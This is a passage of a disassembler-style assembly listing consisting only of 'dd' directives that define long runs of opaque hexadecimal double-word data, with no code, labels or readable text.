		dd 0D06A1DAAh, 0CF0E455h, 44B346BEh, 1B13CB28h,	0D5EAF863h
		dd 0C9E70413h, 4B05CAB2h, 5EEBC6C1h, 9757BA04h,	880F21FEh
		dd 6242D1Fh, 0E84F63CCh, 165C9E7Eh, 5A9004BAh, 7F7FFC33h
		dd 9BAD8AC1h, 43310B87h, 9EEBB881h, 0E528551Dh,	168244FBh
		dd 0D822EF08h, 0CC6D4B2Eh, 0B65B7688h, 31973C45h, 0DDA7B2D5h
		dd 598E0465h, 2FBF63BEh, 7D5130E9h, 5B4F4E2Dh, 50DD2002h
		dd 2FFEF8B8h, 0F7D2BB3h, 3D7E23Ah, 0E909419Fh, 807A144h
		dd 2FB835Dh, 7E6CB657h,	0C61FA39h, 6E136A75h, 2212D8EFh
		dd 0DDA3D45Fh, 0BFA2551Ah, 77C09655h, 391316F3h, 8581A978h
		dd 3B1059E3h, 80F73CE5h, 31D50BF3h, 90895FFEh, 36E9E83Dh
		dd 4E61A5DFh, 3E0FC158h, 2ED21883h, 1BEA8842h, 0DE246C8Ah
		dd 0FA260FFAh, 0EDD313Eh, 0CAAD6610h, 4463405Dh, 7B14890Bh
		dd 660F128Bh, 2FDD8ABEh, 42F0C7F0h, 0EA7DD1F4h,	9741789Fh
		dd 0C2338E02h, 19C3AD04h, 32EFD4A9h, 62D80C2Fh,	0C98B65B7h
		dd 4AE21E7Dh, 0E76BD051h, 14099F0Eh, 40B3E94Fh,	4137686Ch
		dd 6EA1E956h, 0FC645AB3h, 67B813h, 3F16D5BDh, 98EE315Ch
		dd 16AEE62Ch, 139DAC96h, 0A496E817h, 53D5D321h,	3BC9E007h
		dd 5E7B1610h, 6ED3384Fh, 62E5B9E3h, 0A205B07Dh,	895EA40Fh
		dd 371CCC19h, 0FA6B1930h, 60E770B9h, 7DC50C40h,	466060F9h
		dd 0D4F3AE0Eh, 0A1897430h, 0AB058AF9h, 5D068297h, 10C8B711h
		dd 55825CF7h, 3DDE19A9h, 80F5B7Ah, 0E9843368h, 63BF12A0h
		dd 0DCAB67C9h, 0BDEC6BCh, 7AB7DE90h, 0CA292E29h, 21802DABh
		dd 0C4477E25h, 6BE7F5Eh, 5021E150h, 64685D1Bh, 0F62AD95Dh
		dd 0BD194836h, 2CDA1B27h
		dd 24592CC2h, 897E2h, 25715E35h, 20ABA658h, 0F58103A9h
		dd 29982F48h, 0ED2E0C0Eh, 4E12D69Fh, 0D75FA282h, 0F89DB996h
		dd 0D3122DA1h, 0B1A088FAh, 3296F701h, 249C758h,	0E925A00Ch
		dd 9EDA90EDh, 9307A30Fh, 7EF66418h, 0E1AFC9FFh,	6C132F26h
		dd 4FA2CEBAh, 59FA8F9h,	0C32B26EDh, 7AC7DDC6h, 0C67F2508h
		dd 0DE913B3h, 0F5CABBFFh, 726F0996h, 0FC051CF5h, 0F26E5E63h
		dd 352D67h, 2512BB8Fh, 0BB544AE4h, 0C7D2DF5Fh, 402D2C4Fh
		dd 141D552h, 70550D0h, 0C06CD35Ah, 58E630E1h, 0EF4F1E6h
		dd 3E76B52h, 8C11DBC1h,	5D8DE109h, 1172256Fh, 0D5818A91h
		dd 40212B4Ah, 0A2655DAFh, 5BEC0B50h, 2F504EB8h,	15049896h
		dd 0EB094A2Ah, 9D88582h, 0B516E47Dh, 0AF5AF258h, 68841AECh
		dd 0C9520E5Bh, 0D743A984h, 6AEA6E90h, 89695525h, 185D03B9h
		dd 0BC5741FEh, 4A275FD5h, 19605710h, 6DB2B0BAh,	71B9807Fh
		dd 96B73797h, 3D490238h, 0F2094B80h, 4A605F56h,	9008E2C1h
		dd 0F2DD5A6Ah, 216A5F5h, 0C23EDBE1h, 3FE208F5h,	5A0041h
		dd 16116853h, 21173D1Eh, 4E1B248h, 6B8B8E80h, 512DB6E6h
		dd 5E8C6A31h, 66CA4092h, 43D06817h, 4F8323ABh, 85E9E180h
		dd 5AD0265Eh, 2D34ABEAh, 7A740C2Fh, 0D67E852Ah,	0DE5B5650h
		dd 7022A34Ah, 60B6FA20h, 0E1C1B99Bh, 0AAC48103h, 3E815D3Dh
		dd 0E36A77F1h, 64899F31h, 734E5474h, 79F5A2F2h,	0CA24A5h
		dd 57CEBA52h, 810020A8h, 402897CAh, 4E2DE906h, 0AC21FAF7h
		dd 3CAF2B7Ah, 0C9033576h, 0D8B6521Eh, 0F25AF128h, 0C0200FE9h
		dd 0C1E505E1h, 0A0DC0849h, 2F045F12h, 2127553h,	0D06AF8F5h
		dd 7037F600h, 0BF105F9Dh, 10580F4Bh, 0BE4DBD2Ah, 713787C8h
		dd 963EE844h, 252663B7h, 0B5E90E5h, 5EF587EEh, 0CBDD81A4h
		dd 9FDC5030h, 0FA82F582h, 0E4DC6036h, 982C45A6h, 0EE87DE03h
		dd 39064C4Dh, 0CA30D902h, 7C5D568Dh, 0D55897A5h, 9995AF0Bh
		dd 0AF4B698Bh, 2757FCCCh, 0A60258E9h, 0D5565F21h, 25BEA6h
		dd 5DE80908h, 0EC14F82Dh, 4E28FA6Eh, 0BE39FFB2h, 1662E27Bh
		dd 98BFC8F5h, 6B12F266h, 9B40F3BFh, 7FD529D3h, 3560EB01h
		dd 0B09967h, 164276EFh,	68005253h, 3B9E26E1h, 0C14A1DE9h
		dd 0C5805B24h, 72086C9Dh, 327FC7Eh, 0A5AF7B32h,	9DED4C55h
		dd 197DAA42h, 37976748h, 7A0204BEh, 0E2058008h,	185F7423h
		dd 8C50AA02h, 5F78603Dh, 3B4A0B0Fh, 0FEE6DE09h,	3C1EA381h
		dd 29660F35h, 6B480DCEh, 3AFB3881h, 7821779Fh, 403F27C3h
		dd 1313B81Eh, 0E00E825Ch, 720BBBA9h, 7716E1CAh,	81ABD082h
		dd 6FC3A287h, 0D5560289h, 60383D60h, 5369076h, 4E5E6E94h
		dd 4282FA09h, 36CF0E0h,	5158471Eh, 0ECE45768h, 8B8ACFCBh
		dd 6B835807h, 0B905B996h, 0F71B079h, 1868C809h,	0C4CCD62Eh
		dd 0FC388151h, 0F02901A0h, 2A02B67Ch, 0C1832DBBh, 45F1EE80h
		dd 480D553Dh, 487D9F7h,	6C7BF22Fh, 13B42410h, 0A8552F19h
		dd 312D0433h, 13AB9D78h, 31A8B5E7h, 7AE23A5Fh, 0C786B572h
		dd 1B09F64Ah, 8F7AFA36h, 4390CBD2h, 4A947759h, 2B12A1B1h
		dd 4FACAE2Dh, 460A0B74h, 0E9C22C5Ch, 5C06E977h,	5258A141h
		dd 236801C8h, 5D02051Ch, 7D51E17Eh, 0E8F7AE49h,	7860EE49h
		dd 13613B0Ch, 0FD2909B8h, 3682575Fh, 37AA0B0Ah,	0E3A012A4h
		dd 5B42C4BEh, 34F38003h, 0D8B8CB99h, 3EE1B4C3h,	405666B0h
		dd 0DEB5FF7Dh, 7518B10Dh, 8AE97AC9h, 0AB4AB44Dh, 5EF6A828h
		dd 683FE4E1h, 0E60DC225h, 11C860EAh, 0F43735B9h, 8BD4731h
		dd 0AA31FD55h, 502773Ch, 57AA5D29h, 46EC25Dh, 0E9BB5E07h
		dd 95E9B0A5h, 0A6CD9E6Fh, 0F51C12A7h, 4BF22EAAh, 7D9BBFC0h
		dd 312C163Dh, 755A87CFh, 765D5062h, 0BD7C7ACCh,	47FE859h
		dd 0C5E5D154h, 0A4F5DD0h, 89A7554Dh, 0E8A580E9h, 0B7D4BFBDh
		dd 0F9FCF1FFh, 2E127E39h, 9F507C8Fh, 0A82F9316h, 4E1C0C29h
		dd 0E9786EE8h, 0A5A0DAF3h, 5DF47BB4h, 2D507990h, 0EEFA5A07h
		dd 0F5E8A50Bh, 0B339C050h, 0AC2E4F27h, 3972049h, 7A20BF57h
		dd 16306A15h, 4CC1B747h, 0D22848D4h, 36262D04h,	91AF8756h
		dd 3E3CD35Bh, 0D35CEDE0h, 0A440A947h, 0E33BEBB1h, 9A349774h
		dd 0C69ED8BAh, 4AC99249h, 0B82E09A1h, 925D3C38h, 0CAFB5BD8h
		dd 42ADC987h, 6C5B578Dh, 1C3CC4A7h, 1F2DED80h, 0AA0C57E8h
		dd 0E909BF9Eh, 70DEC89Dh, 2F356451h, 3F8B46Fh, 0F4CB024Fh
		dd 1875F611h, 0F0B220Ch, 0BE3CC756h, 33C3A08Bh,	0BB0F109h
		dd 36EEAA4Fh, 574B50E4h, 0F25B5BA8h, 61BAC013h,	1775FB79h
		dd 523A4EE9h, 818EFEDBh, 22AFE90Bh, 37247ED3h, 5420BA01h
		dd 0BB604567h, 0FB0DD624h, 406F6F09h, 2E7EB949h, 9AC2F5Ah
		dd 0F466EE3Dh, 17254F7Dh, 5947570Ah, 0A05A48B2h, 51EAF4BFh
		dd 0C8E55888h, 0C058590Eh, 0A375078Bh, 0B9B050B1h, 0CCC38E04h
		dd 800F968Bh, 56659FEFh, 0C8F1BB28h, 0A7C80C9Dh, 5868CBA1h
		dd 0EF723F6Bh, 234D5E69h, 2875AF8Bh, 538BD5EFh,	0E9E5D556h
		dd 3EF8030Dh, 46FD5C40h, 312726EEh, 0B901BB26h,	16F8C7Ah
		dd 83AA0C6h, 0D73CE92Eh, 12C28995h, 33FF88FBh, 707C5FB3h
		dd 9485322Ch, 4942D698h, 18A52D42h, 989A2533h, 6EA459DDh
		dd 390CAC0h, 1E987974h,	5A63B20Dh, 0F93A5A7Bh, 8BC0D283h
		dd 275A912Dh, 957C5585h, 3C2E6C00h, 1170BF10h, 487C5F5Ch
		dd 3DBA07CEh, 0F890C1F3h, 929541E9h, 9EFEC8Bh, 8B7E6206h
		dd 0A907D15Fh, 366ADAh,	71E1809h, 4D7D2F7h, 6EF641AFh
		dd 82490C6Ch, 2FC3A00Ch, 26F3F4C5h, 39B10E6h, 647F6855h
		dd 0D15D9804h, 5AEC90EDh, 0C1088C69h, 61AC7C12h, 83434001h
		dd 28609E53h, 5B0D171Bh, 0AFC4AE1Fh, 13F90813h,	38735389h
		dd 0CF6556AFh, 0CD86B237h, 5E6F0D2Fh, 90314C80h, 5950CF97h
		dd 8AAB38DCh, 95E81FF2h, 750279BEh, 0C6294924h,	612BC258h
		dd 6D9340D6h, 84C601F2h, 6F7CF349h, 830581F1h, 5AE4CAFAh
		dd 9FDEECB2h, 8421769Bh, 39FA8924h, 5AE4F449h, 0F5416A7Dh
		dd 75A5627Bh, 0D5252867h, 0E985B2CFh, 0AED0BA49h, 5F5A4E40h
		dd 2F81E211h, 4DFFDA59h, 811F0FEDh, 0B64EC5F3h,	15EDD127h
		dd 0EB937029h, 94825A95h, 0C1710B01h, 4CB08EF4h, 75B36851h
		dd 27737F1Ah, 3A72E525h, 0CF5F431h, 0D6799F68h,	0A31BA613h
		dd 74B44009h, 57353A12h, 22766901h, 79604A37h, 4E130C1h
		dd 15679B16h, 940A6365h, 33E63A9h, 117B0D98h, 0ACA002EAh
		dd 0AC26AA7Fh, 8ECCD745h, 0B8AE4093h, 533D71FEh, 56CA1270h
		dd 55CB6DB9h, 0B3073838h, 0F7EB5CB6h, 9664D1CCh, 0E8BFAD22h
		dd 94DA84C1h, 0BFF0F2FCh, 12005AC2h, 0CFEBB42h,	163113FFh
		dd 814CE9FBh, 3E585F0Dh, 0C85F9CDh, 0C1A3C5FBh,	759B6448h
		dd 2D1D2E06h, 8638028h,	0E405E208h, 46684AC1h, 0D8FC10F7h
		dd 25B516A7h, 1259C00Eh, 0E6C07C04h, 686A05AFh,	7F82EF50h
		dd 136C7F3Fh, 907196B5h, 6840B12Fh, 3D69E29Ch, 0A409CEF2h
		dd 542B8C06h, 0D4AE1704h, 3AC1FB55h, 0C7417668h, 8A6B3FDAh
		dd 0D4D12770h, 0D179C9F0h, 22347DE9h, 98A4E916h, 10B8DF2h
		dd 6ADD3F30h, 8BF0DC8Ah, 6DCC9A72h, 49C152F1h, 0BD71E857h
		dd 44741684h, 0F56FE037h, 2F282E38h, 1AB9E12Bh,	4FE952E0h
		dd 0BE5903E5h, 0C2B447A5h, 0DFD07715h, 0FA70569Dh, 0E2B1F157h
		dd 644848E9h, 0CB73F780h, 0F696C717h, 71231904h, 7C49A616h
		dd 32799630h, 3D3D45BDh
		dd 3A25744Ah, 0F19F3B78h, 0FA305B9Ah, 88B5108Eh, 0D4E53080h
		dd 0B4507306h, 0DCF6181Eh, 8367ECCBh, 0F1082B32h, 0DE606658h
		dd 0BF5C5F14h, 4EFFE624h, 0DF1CF4EDh, 0B728F1CCh, 0C41C3AB3h
		dd 24CFC1Ah, 21BCD598h,	0C4CE77C1h, 0C81D058Ch,	11DF81Dh
		dd 4A072D54h, 1B93CBBAh, 0E2D5526Fh, 0B9692D02h, 0D22AA01Eh
		dd 0CDD1FF84h, 0AD0250FDh, 8991E482h, 55C99A54h, 0EF647571h
		dd 0FB84D933h, 5BE9552Ch, 0FA328586h, 6D3FDB3h,	27646553h
		dd 0B23C305h, 0F1FB0971h, 0E90800C1h, 9AC55422h, 8DD0D8F7h
		dd 9039B14Dh, 2A24041Ch, 0C2813C21h, 0E0F57507h, 5C8F206h
		dd 0E967C676h, 0D1EC9166h, 0ED6524E5h, 0D31C2703h, 89E92933h
		dd 576D8E38h, 0C2288E64h, 0CF5A8AD9h, 0B252020Fh, 0E98E6109h
		dd 0B58140B9h, 65427CF7h, 6CF3ED3Ah, 9F050228h,	6138527Bh
		dd 0FDC25646h, 518B0C65h, 7CD90250h, 1C4B055Ah,	0D992FB81h
		dd 0E790AE3Dh, 5C6FE3D2h, 662578BEh, 8E558A9Ah,	0E527F78h
		dd 0D1F67A43h, 3A85C4C0h, 0C1C3641Ch, 1AC828F2h, 0E57E566Ah
		dd 2EA9BC02h, 0CA2D4B09h, 25787657h, 576B53D9h,	0FA2E40E5h
		dd 0FCCC2h, 7D06EBBFh, 57F0154Eh, 0E9BD5177h, 0D1500B62h
		dd 805EB5F9h, 87E7D5E9h, 3CE94449h, 0A3CB6968h,	7E780295h
		dd 0E0521E39h, 9797B1Ch, 60E93C14h, 20075B78h, 0D8F65AF0h
		dd 6BB897A5h, 313302Ch,	0C6885251h, 782DBE94h, 4BE9EAF4h
		dd 5D88C235h, 4AABCFC2h, 90663475h, 72372061h, 561FFE98h
		dd 0EE0953Eh, 73A6183h,	22D826AEh, 5227CB05h, 75DA897h
		dd 0A0099C21h, 0F2EA2028h, 0B0B1511Fh, 7CC02D77h, 282252A0h
		dd 0C2B71B3Ch, 4B3E712Dh, 831ACA55h, 0BB3F3196h, 0DA99DA2Fh
		dd 5FA900Ch, 187D2A7Ah,	897DFC31h, 6C27DCAh, 0F8B34655h
		dd 0CC504E8Ch, 561F6D32h, 0C256668Dh, 0E33F3CF1h, 2AF7C445h
		dd 643BBD00h, 0CEC403BCh, 210B4382h, 0E6013AF6h, 0A025E41h
		dd 1F7DF6D8h, 0D7169E46h, 0FB81CDF5h, 521BD4C0h, 7B054A5Eh
		dd 778CDD12h, 0A4509BAh, 2A013978h, 258C49CEh, 0E938FD30h
		dd 0F0183129h, 1560C366h, 0BECF360Ch, 0F68B983Ah, 0C78082B7h
		dd 4D84D1DEh, 95BA70BDh, 0D0C881FFh, 1F6879E9h,	0F0D67777h
		dd 9E98A45Ch, 1D7A085Fh, 952FA724h, 39E308BEh, 86048816h
		dd 0ACAF6602h, 35BEE40Eh, 41E4E85Fh, 3E283B23h,	0AE4ED2F6h
		dd 0EE2EECF1h, 0ACEFFA68h, 0BA67974Ah, 16AF680Eh, 79169FAh
		dd 0E35829A0h, 4AE4C026h, 0A683BD39h, 7AAF181Eh, 0BA4CF261h
		dd 35BD0289h, 1463147h,	61BD5E55h, 2F671068h, 4948333Dh
		dd 87B99929h, 0B406E5C0h, 603BB178h, 5F075C51h,	0BCE8109h
		dd 1AB31E4h, 0C0769C57h, 4D9E247Fh, 59A3E914h, 272448FCh
		dd 2668F41Dh, 0A68D09A5h, 0B21D18FDh, 0D42855D0h, 0FF57F9FCh
		dd 0B91F5FEh, 0A2090776h, 0EB8C0C3h, 0BB40047Ch, 18C4AA35h
		dd 244B05C7h, 7D80D672h, 2CC27E89h, 1D734E02h, 7BA749CAh
		dd 40921A75h, 0B13C94FEh, 2BF449B3h, 24E62588h,	296C003Eh
		dd 0E1C17B0Dh, 0BD203B98h, 0EE813DEFh, 0C6DA7A09h, 0B428D855h
		dd 49BA0143h, 2B784F37h, 607F3054h, 61F3BF34h, 6AB99579h
		dd 63173AE4h, 928BDCEAh, 0BD585240h, 4027A75Ah,	4B83D6F0h
		dd 102B389h, 5E008509h,	380EF381h, 49C8FEFDh, 1A08F104h
		dd 0A094BF63h, 0EF8B080Ch, 138BAB5h, 1B34C8FEh,	7EBAC380h
		dd 5840995Dh, 4EE96E2Ch, 0D3C9A9DFh, 0DA74B6DDh, 68570351h
		dd 6C487142h, 13EFDA0Eh, 0A725AF64h, 0DACBDDE9h, 4C623017h
		dd 0BE68DFE9h, 4CCC105Eh, 0E2325FF5h, 7DE9E15Ch, 50B09254h
		dd 9E3F48CAh, 524206DAh, 56DE6A57h, 0F254932Eh,	9E7A15F2h
		dd 9F201FFh, 3120664Fh,	0F00F9E32h, 0E962DA51h,	4B4AAD5Bh
		dd 396824C0h, 7BFACA92h, 7075636Bh, 45D39534h, 133B0E08h
		dd 12791E5Fh, 988A5A74h, 0F65E705Fh, 68E9E33h, 7CD3215Dh
		dd 918EB09h, 11182CAh, 60135416h, 64CD0D55h, 0BABE925h
		dd 60659438h, 0AAE31979h, 22010634h, 35F5BE56h,	6601F42h
		dd 1D143E45h, 3614EA4h,	57F13026h, 66491A1Ch, 95BC4153h
		dd 9D39099Ch, 4DD22F02h, 0EB81C6DEh, 2BF205C2h,	170C9020h
		dd 2C947h, 432E6FC3h, 0CB682949h, 59120828h, 17ED50BFh
		dd 944C2390h, 0FC3B1117h, 0D668C2F0h, 602DFC36h, 11A02777h
		dd 46E282C0h, 281B8035h, 38AADAF7h, 0A62DA1D4h,	0B905CD70h
		dd 2F192C1Ch, 0DB1B1CEAh, 0BABDBEB2h, 0A692D1F2h, 0F6DE27F1h
		dd 0FE580DE7h, 1252BC35h, 64F4E5E8h, 0BA2D5282h, 735E8910h
		dd 0C3881F4h, 7AFCCE21h, 0A2600741h, 8E8B817Fh,	164969CDh
		dd 0E9039CFFh, 71E5AA27h, 0D294A773h, 1F6F6815h, 0F8B9001Fh
		dd 8171540Bh, 13C60BC9h, 80750AE6h, 0F61BFB1Eh,	0D2E9BF7Bh
		dd 0AC846B84h, 5A5DCBFFh, 9CEE6435h, 0FFBC51CDh, 0E5FB210Eh
		dd 29AE6472h, 2ACAF988h, 4ADDA9CCh, 830B8829h, 0C8C0C67Fh
		dd 2CFE11E7h, 7CA120E9h, 0E961595Eh, 0F057BBEh,	0D00BC21Bh
		dd 519719DEh, 743BE7D1h, 0F920C82Bh, 0EDA3535Fh, 0EF6E244Bh
		dd 0F260D8B1h, 0B078E017h, 4AA9950Ah, 0E9E2E875h, 4AC9AA6h
		dd 0D23C712Dh, 17158B33h, 0F0985157h, 660B9599h, 0B8754857h
		dd 0E317171Ch, 7D62BC37h, 0FDC8F427h, 3AC3C828h, 6817E544h
		dd 4604E4Dh, 4BC05711h,	0F738A03Fh, 1DB3DF48h, 81BD5A85h
		dd 2856E981h, 0F1441AB3h, 2F779380h, 0B01B521h,	3122A8EFh
		dd 0D4EDFDA4h, 5F6E6808h, 4FC484E2h, 0F0428D9h,	34728900h
		dd 904A06B9h, 73E0BA7h,	257F9FFh, 2919399h, 5A62CDFEh
		dd 6F5B3249h, 56046ECFh, 0AE69FFE9h, 0E5C1EF44h, 83308787h
		dd 0C1212A4Eh, 5860079Ch, 15B96E20h, 0F210CB4Ch, 4BE4B80h
		dd 0E25BD836h, 9288BDBh, 0E45486FDh, 68260A06h,	816F4D05h
		dd 8814B551h, 0F57C20E8h, 0A5F62258h, 57E0EA1h,	0CC4F6177h
		dd 791CEE21h, 8B663045h, 0D0B5E300h, 5BC8E9ADh,	92DEF232h
		dd 7BB7F5AFh, 94B35926h, 629F5ECDh, 2F977E3h, 0B3514F8Ah
		dd 0F33C27BEh, 0E2A2692Dh, 67D56310h, 531C0939h, 250F8BD2h
		dd 66726F67h, 0F179EA9h, 0FE27A3F2h, 0A913BBB2h, 689960BBh
		dd 60127908h, 34BBCE9h,	0DF5EBA52h, 4D76F850h, 0E405B425h
		dd 4DD1FCD7h, 70705A47h, 0BEF4B550h, 7AC33D5Bh,	43C59360h
		dd 387E92EBh, 0C750EA7Dh, 7512CF23h, 6C97162Ah,	0DD9899E2h
		dd 0A688AD5Bh, 505C066Eh, 413F1481h, 5B762470h,	4A07F314h
		dd 0EE0753E6h, 0CFD4856h, 7B13490Ch, 84AF07DAh,	0C081A57h
		dd 535B1400h, 24B45E9h,	1F21295Ch, 43C949D8h, 175E8F10h
		dd 2DBF548h, 98445FEBh,	50577C07h, 0BD7D5557h, 3D6F1112h
		dd 0CDBDF1EFh, 2BE7CD08h, 0E909A6CBh, 0F851A51Ah, 71F4583h
		dd 5E40EA46h, 2CE42C20h, 0CB0808DAh, 24C5BF01h,	806B1DB0h
		dd 6F576851h, 0AB202AA4h, 0ACBD4EA9h, 5DE885F8h, 577D7982h
		dd 0BDC6E60Bh, 7A3DB80h, 0EA222427h, 5B0800A5h,	9760F968h
		dd 955F4A98h, 436CF6B7h, 0C517B4A6h, 54845EF2h,	16E881EAh
		dd 0A3327E1Ah, 58C07810h, 2110C546h, 0F8280C41h, 5C759E5Bh
		dd 56A28E88h, 87C0E55Dh, 0E94F0DF6h, 358305A7h,	71458001h
		dd 2524B187h, 0CD886389h, 0C7311476h, 12FA2912h, 68D3C1A0h
		dd 0E2923BAEh, 4E22543Bh, 53130708h, 1F5EEEF2h,	0F0EF9CCBh
		dd 386EBEA2h, 7C586A25h, 1377250Fh, 0EE0C09ECh,	5C2D71h
		dd 0E7F8B302h, 9E897701h
		dd 0B553FA5Fh, 0C4D02D6h, 483B4EE0h, 11076139h,	229F8995h
		dd 0A7FDE9F7h, 5D6C138h, 0BD7732A4h, 2BC05F6Ch,	0CAB027F0h
		dd 0BD49F2BFh, 955C7CFEh, 0C2C92A5Bh, 0F8FC5778h, 94EB05C4h
		dd 859000B3h, 4359195Eh, 9602CE90h, 0E9612D6Ah,	5FBC9228h
		dd 64E55D02h, 0BEBF5700h, 437A161Ch, 957A0347h,	0D191871Dh
		dd 0BEF2FE7h, 0AE5022A9h, 713AEAC4h, 155590Bh, 5FF901B7h
		dd 7163B77h, 4174AFD0h,	0A6FE3FC4h, 0CFE987C3h,	5F68361Ch
		dd 0D443EC3Ah, 0C1C68657h, 25A80B21h, 457D62D8h, 0A0B90223h
		dd 0ED82AFD3h, 10CC74B6h, 35362581h, 0D3873226h, 0E60191FBh
		dd 7677C286h, 8B5A503Ah, 141C4599h, 66FF7A0Fh, 0C09E9CBAh
		dd 354805EAh, 67B57BFEh, 38E98544h, 68A442BEh, 947549A1h
		dd 0A8E91C2Bh, 667D256Ch, 0A70B7DEh, 5E3E5D9Dh,	0D9EC7425h
		dd 406B9F20h, 0CD8982A6h, 0D1B73159h, 46E985D8h, 7D9DAA95h
		dd 2A13548h, 317EA56Bh,	6C775AD0h, 2A983805h, 0B629FF4Bh
		dd 9FAE2EF8h, 4EF718C8h, 10C79A58h, 311CAAF0h, 8F59AEEh
		dd 1A660EC0h, 0F01B0A2Dh, 61E80410h, 0EA524907h, 27911A08h
		dd 56C107F5h, 3C515759h, 532DA44Ah, 185FA5E6h, 0E8E368ADh
		dd 47124CE8h, 26B0492Ah, 31AF301h, 5C059AEEh, 3558995h
		dd 254A5B08h, 0F2C8C9EAh, 22686C7Fh, 0BC90C8FDh, 3DAA8B65h
		dd 0F25A44ECh, 13A3C471h, 0AA5F5E04h, 0FFB170B8h, 1081631Ah
		dd 0D1161E8Dh, 8600ABE0h, 0ADB1B91h, 96A7F2Dh, 0C329DE77h
		dd 910CE8DBh, 582896D7h, 123D5ED3h, 4E510C10h, 4C6352A8h
		dd 0E4A7482Dh, 0CFF3A4F4h, 0C25D4B13h, 0EF40E41Fh, 561F82Dh
		dd 0EC330F42h, 0A81E2902h, 0F85F5F07h, 58A2CB14h, 3D350493h
		dd 0E05ADF20h, 670A4781h, 0BC5EE94Ch, 3402E8ACh, 33A995Bh
		dd 0E5AF316Ah, 0C2A0D442h, 0BD0079C8h, 12DE37Dh, 84C78153h
		dd 2C648A21h, 89902559h, 3DD95D8Fh, 143CE62h, 30D1295Eh
		dd 669D6B7Eh, 0A5681359h, 6C8F8C0Dh, 0B3107654h, 0F1E9DB09h
		dd 3A58D94Bh, 9F5F0CB2h, 72C5BB20h, 25367A60h, 0C47F5E1Fh
		dd 0A6D35CC1h, 14E14884h, 77022250h, 0DF275D68h, 258F708Ah
		dd 2DC5EF7Dh, 6030BFFBh, 3C0B10BEh, 0F10519CCh,	52567BE9h
		dd 1FEE0044h, 51509F20h, 540168FAh, 0E91D4A0Dh,	54943E11h
		dd 0A85F4BBAh, 120718D6h, 9A55660Eh, 13445A8Bh,	0B99EAE34h
		dd 7DC0D72Fh, 0C14F6847h, 7C3330FBh, 622EAB27h,	35280221h
		dd 4D05D913h, 71050CAFh, 5116EB4Bh, 0D8F9C1B5h,	0C77BED1Ch
		dd 3DFE1FC5h, 0EF148204h, 7159EB28h, 793C0BFBh,	6AF65A94h
		dd 68606B9Ch, 5CCE0AF4h, 0A62C7B29h, 0E2854785h, 0C7002A46h
		dd 97D2790Ah, 0EF1F84F4h, 4BA54CBh, 0A0EC51F0h,	8A605B25h
		dd 361D0871h, 0FDA75938h, 0E92534BCh, 5FF3005Dh, 481CF2BBh
		dd 0F300B260h, 33C6A94h, 0FC5931E9h, 0F878700Eh, 5EA5534Dh
		dd 9D5AC1B0h, 100F997Fh, 0B0BA012Bh, 0ECC0FE88h, 0C53A306Ah
		dd 2C908E58h, 25F35436h, 0B344028Dh, 0F7E58698h, 9FB9070Eh
		dd 0A21E2D14h, 0EBE68C80h, 7DF252B5h, 851C2FCFh, 173C9E79h
		dd 0D9B8D6E3h, 42552982h, 14BE2D60h, 949ABC9Fh,	0D85DC379h
		dd 5C2D482Fh, 0F2019BC7h, 5E5EF8C5h, 598BD2F6h,	2A93F600h
		dd 0C1162B34h, 760908E9h, 704A7F41h, 0DDEBBBC5h, 729729E6h
		dd 71F49FADh, 13547772h, 17419EC3h, 0F04EBABh, 0DA654432h
		dd 4AA3AECAh, 7315524h,	0A9E83CDFh, 13C2280Fh, 817D7E05h
		dd 2E6605Ah, 3418720h, 0C11A961Bh, 2A0E03E7h, 56FCDEF4h
		dd 0EEEF82BBh, 8F74E1FDh, 0EC4F8668h, 0E85CF2E0h, 0B567E9D2h
		dd 4568A80Bh, 625A68AFh, 0A6B19D31h, 0B0611AADh, 8A646F27h
		dd 371AE0AAh, 1D686706h, 970B3BBFh, 4F2FF250h, 413857B1h
		dd 0B281D599h, 12B151E8h, 9CB8864h, 0C582D36Bh,	0B3FD0919h
		dd 3C3425CAh, 88AC5C68h, 0D609E1DFh, 0EB87DC80h, 57EF8475h
		dd 17797CAAh, 0D78F859h, 0D95205E2h, 3E6C88F1h,	0B15E663Ah
		dd 684CFC58h, 5DD710C5h, 9230E2FFh, 0CD83CCEAh,	0C17F7480h
		dd 4D02ED61h, 403DF081h, 9BA05BFEh, 0EC05769Eh,	4337E918h
		dd 0C328D5BDh, 0F8AFE6B9h, 0ED99D30h, 0EFA0102Dh, 29FD4F87h
		dd 92046A5Bh, 0BCAE709Ch, 1C2CC677h, 95A09720h,	0D3672BD7h
		dd 72D74ADFh, 2F90BD54h, 0DE929840h, 1BE028D5h,	69FA38A2h
		dd 341D6C24h, 0D70841BCh, 2031585Ah, 806751D0h,	0D873FD43h
		dd 0A8BE8416h, 5E0CF3A5h, 374CBF71h, 0BBE1303h,	32487730h
		dd 70832300h, 0E6EC17F4h, 0FD355301h, 95D5E96Ch, 8B5D2DA7h
		dd 206670CEh, 0B904FB60h, 7BB16965h, 345DCEC0h,	0C5A6938h
		dd 0F1560169h, 0D511A5BBh, 84538B24h, 0AFB594A1h, 0B6EF4EC4h
		dd 870549D8h, 560BF368h, 0ED68F804h, 7AF46F4Bh,	40DBB64Dh
		dd 1342F681h, 87FCE076h, 66127EBEh, 0FC1FE40Fh,	6AB4D52Fh
		dd 414A0A98h, 3EA626ECh, 2CEC2C55h, 8AEC13A7h, 0C25D24FAh
		dd 4103641Eh, 5F80B450h, 4A9660CFh, 0D5B8A006h,	0E18108C0h
		dd 4C1C7E34h, 0C416A152h, 75B2A928h, 7B60AAB6h,	9715CE35h
		dd 8FFF2475h, 0C005E8BAh, 5E0B700Dh, 0C1C52FE9h, 12A620DDh
		dd 816F60h, 434A39CEh, 7279E973h, 98543C95h, 0B70970D6h
		dd 20525154h, 685D5EC1h, 5F1B367h, 0AE9342E9h, 0EC4B7061h
		dd 0F9BF138Eh, 0A2BC49FEh, 4AF75B92h, 43E8F5C4h, 0F49580D8h
		dd 712A40E1h, 11B577BCh, 510282FDh, 0D2262441h,	4A36BA00h
		dd 19516BFh, 1068B6D1h,	8827EAAEh, 4F985E82h, 67B4BB00h
		dd 0EF69866h, 933308CBh, 8E460072h, 0E974AA31h,	698B862Ch
		dd 3B32046Fh, 95DEA49h,	0D065038Fh, 6F90A42Ch, 120C1068h
		dd 0E33694E9h, 0A091174Eh, 3CCB5AB8h, 80071550h, 0D128F8C2h
		dd 64FA72AFh, 719CB488h, 815C40h, 587F3AF1h, 0E395B803h
		dd 0F79DD4E8h, 0B4221429h, 73FCDAF7h, 2EE90E4Ch, 538F8AFBh
		dd 253DFCD9h, 1EC82E6Eh, 4BB72D68h, 0D24A6CCEh,	0B8E7CDC5h
		dd 4D179D5Ch, 0D4E6ECB3h, 4305073Ch, 13F23FA0h,	0B0FAF7Bh
